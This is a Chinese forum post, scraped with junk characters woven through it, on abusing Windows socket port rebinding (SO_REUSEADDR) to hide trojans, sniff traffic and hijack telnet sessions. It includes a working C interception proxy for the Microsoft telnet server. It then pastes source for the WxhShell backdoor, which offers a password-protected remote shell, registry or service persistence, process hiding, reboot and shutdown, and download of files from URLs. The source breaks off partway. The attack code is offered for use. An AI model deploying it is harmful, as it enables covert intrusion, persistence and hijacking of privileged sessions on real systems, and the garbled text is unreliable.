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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (RBzpAiH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AAW])c`.  
PqDffZ^z  
  saddr.sin_family = AF_INET; \{u 9Kc  
=R6IW,*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IMcuoQ5  
P#o"T4 >  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 56`Tna,t  
1~aP)q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o4PJ9x5R!  
~4^~w#R  
  这意味着什么?意味着可以进行如下的攻击: =&~7Q"  
9S_PZH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vOQ 3A%/  
l2Pry'3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aP&bW))CI  
8gn12._x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d.3cd40Q  
qSA]61U&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l.nd Wv  
"\`>Ll  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :f_fp(T  
xmXuBp:M(R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !!:mjq<0  
19j"Zxdg Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xm$-:N0q  
}huFv*<@'  
  #include {'@`: p&3r  
  #include a2%xW_e  
  #include Swr 8  
  #include    iO@UzD #v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kWMz;{I5*w  
  int main() #UesXv  
  {  ,7h0y  
  WORD wVersionRequested; j[Q9_0R~lR  
  DWORD ret; `~k`m{4.a  
  WSADATA wsaData; 6Q*Zy[=  
  BOOL val; H~:EPFi.(  
  SOCKADDR_IN saddr; N5d)&a 7?  
  SOCKADDR_IN scaddr; gzd<D}2F~  
  int err; Kg6[  
  SOCKET s; <{P`A%g@  
  SOCKET sc; f1w_Cl  
  int caddsize; f>hA+  
  HANDLE mt; *hvC0U@3  
  DWORD tid;   d+o.J",E  
  wVersionRequested = MAKEWORD( 2, 2 ); C2}f'  
  err = WSAStartup( wVersionRequested, &wsaData ); 4H4ui&|7u6  
  if ( err != 0 ) { W\Df:P {<  
  printf("error!WSAStartup failed!\n"); E! GH$%:;  
  return -1; J~.`  
  } iz%wozf  
  saddr.sin_family = AF_INET; cXod43  
   \)`OEGdOR\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E< Y!BT[X  
q>rDxmP<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6m%#cP (6K  
  saddr.sin_port = htons(23); YN}vAFR`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |}><)}  
  { Zk] /m  
  printf("error!socket failed!\n"); :i9=Wj  
  return -1; !rsGCw!Pg  
  } ?>s[B7wMp  
  val = TRUE; SceK$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l0w<NZ F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^_gH}~l+U  
  { e);`hNLih  
  printf("error!setsockopt failed!\n"); 4G2iT+X-  
  return -1; "IN[(  
  } Qg]+&8!*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %k'>bmJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <&RpGAk%I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %jJ|4\  
$a'}7Q_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RJ1 @ a  
  { IOT-R!.5V  
  ret=GetLastError(); 4$+1&+@ ]  
  printf("error!bind failed!\n"); Qo~|[]GE  
  return -1; J'C9}7G  
  } `0, G' F  
  listen(s,2); t>! Ok  
  while(1) mg]t)+PQ  
  { i_(6} Y&  
  caddsize = sizeof(scaddr); 4;*jE (  
  //接受连接请求 HtV8=.^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N 9W,p 2  
  if(sc!=INVALID_SOCKET) rS8}(lf  
  { ykYef  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -v! ;  
  if(mt==NULL) Ye S5%?Fk  
  { 1ixBwnp?  
  printf("Thread Creat Failed!\n"); `a `>Mtl  
  break; jwpahy;\WL  
  } H<") )EJI  
  } kvG.?^ v  
  CloseHandle(mt); {l"(EeW6)  
  } ua E,F^p  
  closesocket(s); rf+Z0C0WYi  
  WSACleanup(); zygH-3C7o  
  return 0; f?$yxMw:@  
  }   9ZNzC i!  
  DWORD WINAPI ClientThread(LPVOID lpParam) hof>:Rk  
  { :nOI|\ rC  
  SOCKET ss = (SOCKET)lpParam; [,3E#+y  
  SOCKET sc; q|V|Jl  
  unsigned char buf[4096]; iPdS>e e  
  SOCKADDR_IN saddr; lAR1gHhJ  
  long num; Kr?<7vMT5  
  DWORD val; ~BiLzT1,  
  DWORD ret; I? ="Er[g}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iG#9 2e4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,FwpHs $A  
  saddr.sin_family = AF_INET; (&SPMhs_|(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~O~iP8T  
  saddr.sin_port = htons(23); Z((e-T#,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ++n_$Qug  
  { g:Q:cSg<  
  printf("error!socket failed!\n"); {n&GZG"f  
  return -1; Id1de>:;  
  } orOq5?3  
  val = 100; MOPHu O{^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ~)F_FS  
  { osc A\r  
  ret = GetLastError();  //0Y#"  
  return -1; [dFe-2u ,$  
  } SAiaC _  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |8tKN"QG  
  { =YIosmr  
  ret = GetLastError(); # [ +n(  
  return -1; #&ei  
  } T"t.t%(8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +:W/=C d(h  
  { ht#,v5oG>f  
  printf("error!socket connect failed!\n"); k!bG![Ie|  
  closesocket(sc); - (7oFOtg  
  closesocket(ss); Sk:x.oOZ  
  return -1; bI^F (  
  } -Kw7! =_ g  
  while(1) [nG[ x|;|  
  { B" _Xst  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '14 86q@[$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U o aWI2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6VS_L@  
  num = recv(ss,buf,4096,0); %g^:0me`  
  if(num>0) }t:* w  
  send(sc,buf,num,0); cY Qm8TR<  
  else if(num==0) 5{WvV%  
  break; EI)2 c.A  
  num = recv(sc,buf,4096,0); 2'@D0L  
  if(num>0) nBLb1T  
  send(ss,buf,num,0); Q~/=p>=uu  
  else if(num==0) =J"c'Z>.  
  break; aK_k'4YTm  
  } }u1h6rd `  
  closesocket(ss); | #b/EA9  
  closesocket(sc); qQIX:HWDKZ  
  return 0 ; 8)M WC:  
  } nN^lY=3  
unNN&m#@  
=**Q\ Sl  
========================================================== %%#bTyF  
<Ql2+ev6  
下边附上一个代码,,WXhSHELL ZmycK:f  
Jz*A!Li  
========================================================== |Qb@.  
xj9xUun  
#include "stdafx.h" *K& $9fah  
acgx')!c  
#include <stdio.h> %eh.@8GL`  
#include <string.h> ]826kpq_  
#include <windows.h> j<6+p r  
#include <winsock2.h> |j{]6Nu  
#include <winsvc.h> J qmL|S)  
#include <urlmon.h> -r]L MQ  
fz?woVn  
#pragma comment (lib, "Ws2_32.lib") :`lP+y?a1  
#pragma comment (lib, "urlmon.lib") X4!Jj *  
` @lNt}  
#define MAX_USER   100 // 最大客户端连接数 :6Tv4ZUvcG  
#define BUF_SOCK   200 // sock buffer &;`E3$>  
#define KEY_BUFF   255 // 输入 buffer o q6^  
4)>S3Yr  
#define REBOOT     0   // 重启 xJnN95`R@  
#define SHUTDOWN   1   // 关机 ;.rY`<|  
JStEOQF4  
#define DEF_PORT   5000 // 监听端口 ]vPdj"7  
$pt~?ZZ3-  
#define REG_LEN     16   // 注册表键长度 mB6%. "  
#define SVC_LEN     80   // NT服务名长度 Gd'_X D  
K r<UPr  
// 从dll定义API us8HXvvp{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E$ &bl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +WKN&@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KfPgj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1*'gaa&y  
9g'6zB  
// wxhshell配置信息 US"UkY-\  
struct WSCFG { BjfTt:kY  
  int ws_port;         // 监听端口 |7Ab_  
  char ws_passstr[REG_LEN]; // 口令 rZ)7(0BBs  
  int ws_autoins;       // 安装标记, 1=yes 0=no )D)4=LJ  
  char ws_regname[REG_LEN]; // 注册表键名 |/$954Hr#<  
  char ws_svcname[REG_LEN]; // 服务名 RTDplv; ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A0,e3gb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~=t9-AF-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hs:iyr]@9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SSyARR+;c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sTep2W.9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +?[s"(  
)>^Ge9d]  
}; ]"htOO  
?A24h !7  
// default Wxhshell configuration F\ GNLi  
struct WSCFG wscfg={DEF_PORT, Y*O Bky  
    "xuhuanlingzhe", B52dZb  
    1, d0f(Uk  
    "Wxhshell", &Vu-*?  
    "Wxhshell", PfB9 .f{  
            "WxhShell Service", *~*"p)`<  
    "Wrsky Windows CmdShell Service", y+V>,W)r7  
    "Please Input Your Password: ", cM4{ e^  
  1, rY&#g%B6Fp  
  "http://www.wrsky.com/wxhshell.exe", (ip3{d{CT]  
  "Wxhshell.exe" pp{GaCi  
    }; e**'[3Y  
*65~qAd  
// 消息定义模块 z]LVq k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0I do_V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `2^(Ss# )  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 83p8:C.Ze  
char *msg_ws_ext="\n\rExit."; CC'N"Xb  
char *msg_ws_end="\n\rQuit."; N3a ]!4Y\  
char *msg_ws_boot="\n\rReboot..."; ~*+evAP  
char *msg_ws_poff="\n\rShutdown..."; cS2]?zI  
char *msg_ws_down="\n\rSave to "; Ly R<cd$W  
:S7[<SwL  
char *msg_ws_err="\n\rErr!"; 57]La^#  
char *msg_ws_ok="\n\rOK!"; X?JtEQ~>  
p,uM)LD  
char ExeFile[MAX_PATH]; h?} S|>9  
int nUser = 0;  -)KNsW  
HANDLE handles[MAX_USER]; opu)9]`z  
int OsIsNt; rOj(THoc{  
eNM"e-  
SERVICE_STATUS       serviceStatus; =UWW(^M#[:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {sj{3Iu  
)]<^*b>  
// 函数声明 ,^<39ng  
int Install(void); ;B(16&l=q  
int Uninstall(void); qV,x)y:V  
int DownloadFile(char *sURL, SOCKET wsh); "(kiMo g-  
int Boot(int flag); E9t8SclV  
void HideProc(void); "Vp:Sq9y  
int GetOsVer(void); [Ls%nz|  
int Wxhshell(SOCKET wsl); qSD3]Dv"  
void TalkWithClient(void *cs); )7Qp9Fxo  
int CmdShell(SOCKET sock); /11CC \  
int StartFromService(void); &%k_BdlkQ  
int StartWxhshell(LPSTR lpCmdLine); St> E\tXp  
Goy[P2m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +^J;ic  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '"ze Im~  
N=~DSsw  
// 数据结构和表定义 aSJD'u4w.a  
SERVICE_TABLE_ENTRY DispatchTable[] = x")Bmw$  
{ JE*?O*&|Q  
{wscfg.ws_svcname, NTServiceMain}, A{T> Aac  
{NULL, NULL} olXfR-2>1  
}; Bsd~_y}8  
J~ +p7S  
// 自我安装 TC@F*B;  
int Install(void) *A")A.R  
{ JRE\R&>g  
  char svExeFile[MAX_PATH]; w !<-e>  
  HKEY key; m6 Y0,9  
  strcpy(svExeFile,ExeFile); g:p` .KuB  
6x/o j`_[  
// 如果是win9x系统,修改注册表设为自启动 v;}MHl  
if(!OsIsNt) {  p1&=D%/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %zDi|WZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s.KfMJ"u[  
  RegCloseKey(key); Yfs eX;VX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `bn@;7`X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /5 OQ0{8p  
  RegCloseKey(key); +>c%I&h}`  
  return 0; AI,E9  
    } b.}J'?yLm  
  } /c4$m3?]  
} qDfhR`1k  
else { uaCI2I  
c]qh)F$s8  
// 如果是NT以上系统,安装为系统服务 :3J`+V}9;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r/0AM}[!*j  
if (schSCManager!=0) C{G%"q  
{ yLl:G;  
  SC_HANDLE schService = CreateService [[Nn~7  
  ( LA(/UA3Izd  
  schSCManager, 8)83j6VF  
  wscfg.ws_svcname, ^?A>)?Sq  
  wscfg.ws_svcdisp, ]!/R tt  
  SERVICE_ALL_ACCESS, \Il?$Kb/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c`\qupnY  
  SERVICE_AUTO_START, /N./l4D1K-  
  SERVICE_ERROR_NORMAL, e<~bDFH  
  svExeFile, OF;"%IW~}  
  NULL, &0d5".|s  
  NULL, T)e Uo  
  NULL, E% Ko[G  
  NULL, fj9&J[  
  NULL }We-sZ/w7r  
  ); 3-[+g}kak?  
  if (schService!=0) 1&Mpx!K*T  
  { 58`Dcx,yJ  
  CloseServiceHandle(schService); UjyrmQf  
  CloseServiceHandle(schSCManager); 9PaV*S(\TR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); , 0?_? GO  
  strcat(svExeFile,wscfg.ws_svcname); ]IDhE{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V~Jt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Tq6\oIBkV  
  RegCloseKey(key); e#WASHZN  
  return 0; !QME!c>*$  
    } GNW.n(a  
  } 'c >^Aai  
  CloseServiceHandle(schSCManager); zqRps8=  
} ^ 7)H;$  
} |f$gQI!XW  
]9w TAb  
return 1; (I{+ %  
} |F qujZz  
?d k)2  
// 自我卸载 |ss4pN0X  
int Uninstall(void) [EQTrr( D  
{ rV*Ri~Vx  
  HKEY key; `?d` #) Ck  
F9r|EU#;  
if(!OsIsNt) { '=Acg"aT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j|[>f  
  RegDeleteValue(key,wscfg.ws_regname); 0^F!-b^z  
  RegCloseKey(key); w(*},  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (SA^> r  
  RegDeleteValue(key,wscfg.ws_regname); ]L3MIaO2T  
  RegCloseKey(key); c68,,rJO]i  
  return 0; 1>umf~%Wa  
  } O6">Io5  
} L_M(Lj  
}  Qr-,J_  
else { .B!  Z0  
{CX06BP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e=_Ng j)  
if (schSCManager!=0) tK 6=F63e  
{ jFI`CA6P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D23 c/8K  
  if (schService!=0) g ?@fHFct  
  { wb39s^n  
  if(DeleteService(schService)!=0) { @z=L\ e{  
  CloseServiceHandle(schService); f$--y|=  
  CloseServiceHandle(schSCManager); hK %FpGYA  
  return 0; tNYuuC%N  
  } B!4~A{  
  CloseServiceHandle(schService); L}K8cB  
  } sdN1BV2  
  CloseServiceHandle(schSCManager); AH:0h X6+  
} x( (Rm_'  
} . \8"f]~  
&QFc)QP{  
return 1; Fnd_\`9{  
} 4MCj*ok<  
0="wxB  
// 从指定url下载文件 BP1<:T'.q`  
int DownloadFile(char *sURL, SOCKET wsh) q-/t?m0  
{ t"vkd  
  HRESULT hr; w=5<mw  
char seps[]= "/"; mgb+HNH%q\  
char *token; tCv}+7)   
char *file; F4IU2_CnPD  
char myURL[MAX_PATH]; )`mBvS.}  
char myFILE[MAX_PATH]; Sf2xI'  
Xwd9-:  
strcpy(myURL,sURL); v z&88jt  
  token=strtok(myURL,seps); x]IJ;  
  while(token!=NULL) gOm8 O,  
  { {/qQ=$t  
    file=token; O .jCDAP  
  token=strtok(NULL,seps); a.a ,_  
  } ;R$2+9  
! %N@>[  
GetCurrentDirectory(MAX_PATH,myFILE); VL|Z+3L  
strcat(myFILE, "\\"); bKEiS8x  
strcat(myFILE, file); 9|m:2["|?  
  send(wsh,myFILE,strlen(myFILE),0); jVqpokWH  
send(wsh,"...",3,0); /<"ok;Pu7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K{ntl-D&y  
  if(hr==S_OK) /. >%IcK  
return 0; Z,V<&9a;  
else K87yQOjPv  
return 1; F?qg?1v B|  
s(r4m/  
} %l!- rXp  
vx}BT H  
// 系统电源模块 bGxHzzU}  
int Boot(int flag) lAkg47i  
{ \mWH8Z }Z  
  HANDLE hToken; ]Qe"S>,?`  
  TOKEN_PRIVILEGES tkp; }]=@Y/p  
L-%'jR  
  if(OsIsNt) { m^w{:\p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w: mm@8N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TIK'A<  
    tkp.PrivilegeCount = 1; RYdI$&]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {]$)dz5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )_6W@s  
if(flag==REBOOT) { ]zn3nhBI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ar<!F/  
  return 0; i1*0'x  
} JEF;Q  
else { x~K79Mya  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 rR1/\  
  return 0; g{f7 } gTG  
} !7p&n3dz  
  } QlS_{XV  
  else { s'bTP(wl9  
if(flag==REBOOT) { ,5AEtoF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -aV( 6i*n  
  return 0; Q 9E.AN  
} &y7xL-xP  
else { +k[w)7Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9!.S9[[N  
  return 0;  ;v/un  
} !OMCsUZ  
} ~wO-Hgd  
p|@#IoA/e  
return 1; '*Ld,`  
} }$ Kd-cj+  
CTxP3a9]  
// win9x进程隐藏模块 {qOqtkj  
void HideProc(void) CyXaHO  
{ Z*-a=u%gl'  
y>)c?9X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y?L>KiM$  
  if ( hKernel != NULL ) {|B[[W\TN  
  { O0 $V+fE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T\bpeky~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2'-84  
    FreeLibrary(hKernel); |sEuhP\A3  
  } Ijk hV  
12;YxW>[  
return; >8b%*f8R  
} mI]gDL1  
5"X@<;H%  
// 获取操作系统版本 %0Qq~J@Lu  
int GetOsVer(void) e1%kW1Z9  
{ %?Q&a ]  
  OSVERSIONINFO winfo; ^Ai QNL}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6ud<U#\b&  
  GetVersionEx(&winfo); >0uj\5h)I]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `6;$Z)=.  
  return 1; ]2 $T 6  
  else X4Pm&ol  
  return 0; lxr;AJ(  
} *adznd  
`r-3"or/$  
// 客户端句柄模块 `zB bB^\`W  
int Wxhshell(SOCKET wsl) X{<taD2~  
{ X *:,|  
  SOCKET wsh; E0yx @Vx  
  struct sockaddr_in client; [rL 8L6,!  
  DWORD myID; D@:'*Z(  
_pDfPLlY&  
  while(nUser<MAX_USER) dCo3VF"u  
{ yH>C7M7 t  
  int nSize=sizeof(client); Eggu-i(rD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pn6~66a6  
  if(wsh==INVALID_SOCKET) return 1; %(W8W Lz}  
*)Cr1d k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yqVoedN  
if(handles[nUser]==0) *M_^I)*L  
  closesocket(wsh); <q>d@Foi  
else )[|_q,  
  nUser++; (E,Ibz2G:e  
  } 7upWM~H^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yz5! >|EB  
: @eHV=|+>  
  return 0; )xKW  
} 5G$ ,2i(  
Y*\N{6$2  
// 关闭 socket f=u +G  
void CloseIt(SOCKET wsh) E!BzE_|i  
{ ~(7ct*U~  
closesocket(wsh); I)s_f5'  
nUser--; )Y9\>Xj7  
ExitThread(0); </1]eDnU  
} d>F.C>  
%g{)K)$,ui  
// 客户端请求句柄 Pai8r%Zfu  
void TalkWithClient(void *cs) y n_.  
{ j>uu3ADd2  
O:GAS [O`  
  SOCKET wsh=(SOCKET)cs; os&FrtDg  
  char pwd[SVC_LEN]; *'-t_F';  
  char cmd[KEY_BUFF]; >,h{`  
char chr[1]; }`%ks  
int i,j; 9%"`9j~H>  
72.Msnn  
  while (nUser < MAX_USER) { pnyu&@e  
Bq1}"092  
if(wscfg.ws_passstr) { ewHs ]V+U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !n P4S)A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q\T?t  
  //ZeroMemory(pwd,KEY_BUFF); ^8J`*R8CL  
      i=0; 6EO@ Xf7,  
  while(i<SVC_LEN) { VX>j2Z'  
5Pxx)F9]  
  // 设置超时 .Eb]}8/}E  
  fd_set FdRead; ~PpDrJ; Va  
  struct timeval TimeOut; 4*Gv0#dga  
  FD_ZERO(&FdRead); 41s\^'^&  
  FD_SET(wsh,&FdRead); v Y0ESc{  
  TimeOut.tv_sec=8; 8DY:a['-d  
  TimeOut.tv_usec=0; pek=!nZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4d}=g]P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !c1M{klP  
".waCt6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +^&i(7a[?  
  pwd=chr[0]; R5%CK_  
  if(chr[0]==0xd || chr[0]==0xa) { [#RFdn<  
  pwd=0; X1o^MMpz(F  
  break; vy{k"W&S  
  } '3Q~y"C+4  
  i++; G2?#MO  
    } gmgri   
>]xW{71F@  
  // 如果是非法用户,关闭 socket tHHJ|4C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @"1Z;.S8V  
} .4tu{\YX  
P:N> #G~z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FfrC/"N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t[|t0y8  
<hiv8/)?  
while(1) { ViMl{3  
aq8./^  
  ZeroMemory(cmd,KEY_BUFF); UnP<`z#  
(GC5r#AnS  
      // 自动支持客户端 telnet标准   V$O6m|q  
  j=0; UcOP 0_/  
  while(j<KEY_BUFF) { +,AzxP _y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xkiiQs)  
  cmd[j]=chr[0]; :vzIc3~c:`  
  if(chr[0]==0xa || chr[0]==0xd) { }LKD9U5;8  
  cmd[j]=0; `O%nDry  
  break; 1"75+Q>D  
  } T *PEUq  
  j++; dcD#!v\0  
    } & rD8ng+$  
D4|Ajeo;1  
  // 下载文件 /4 OmnE;  
  if(strstr(cmd,"http://")) { C.ji]P#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H!u8+  
  if(DownloadFile(cmd,wsh)) [fV"tf;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M j6,VD9L  
  else !4=_l6kg~+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^v'0\(H?P  
  } G.~ Q2O#T  
  else { REE .8_  
!ehjLFS?_  
    switch(cmd[0]) { 1iLo$  
  2IRARZ,3  
  // 帮助 ?[m1?  
  case '?': { f\_PNZCc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qlYi:uygY  
    break; {FKr^)g  
  } *fI n<Cc  
  // 安装 6w;`A9G[YI  
  case 'i': { zow8 Q6f  
    if(Install()) V| kN 1 A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]RE 5!  
    else ")\V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L6Brs"9B  
    break; zGyRzxFN  
    } C$~ly=@  
  // 卸载 ~jzLw@"~$^  
  case 'r': { :{iH(ae;  
    if(Uninstall()) !#W>x49}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F%8d@Y2  
    else d=%NFCIV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ncOgSj7e  
    break; zPqJeYK  
    } M9BEG6E9  
  // 显示 wxhshell 所在路径 +h+ 7Q'k  
  case 'p': { M!Ao!D[  
    char svExeFile[MAX_PATH]; 0#eb] c   
    strcpy(svExeFile,"\n\r"); OUF%DMl4  
      strcat(svExeFile,ExeFile); gj @9(dk%  
        send(wsh,svExeFile,strlen(svExeFile),0); cnQ2/ZZp~  
    break; 3~Fag1Hp  
    } .Y]0gi8z  
  // 重启 P-gjSE|yh  
  case 'b': { .BBJhXtrdu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qve'Gm)  
    if(Boot(REBOOT)) La9}JvQoX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [BJzZ>cY  
    else { y$]<m+1  
    closesocket(wsh); /7Pqy2sgE  
    ExitThread(0); xatq  
    } lGWz  
    break; @0 P4pt;(  
    } 9t)Hi qj  
  // 关机 *8?2+ )5"  
  case 'd': { L@s6u +uu  
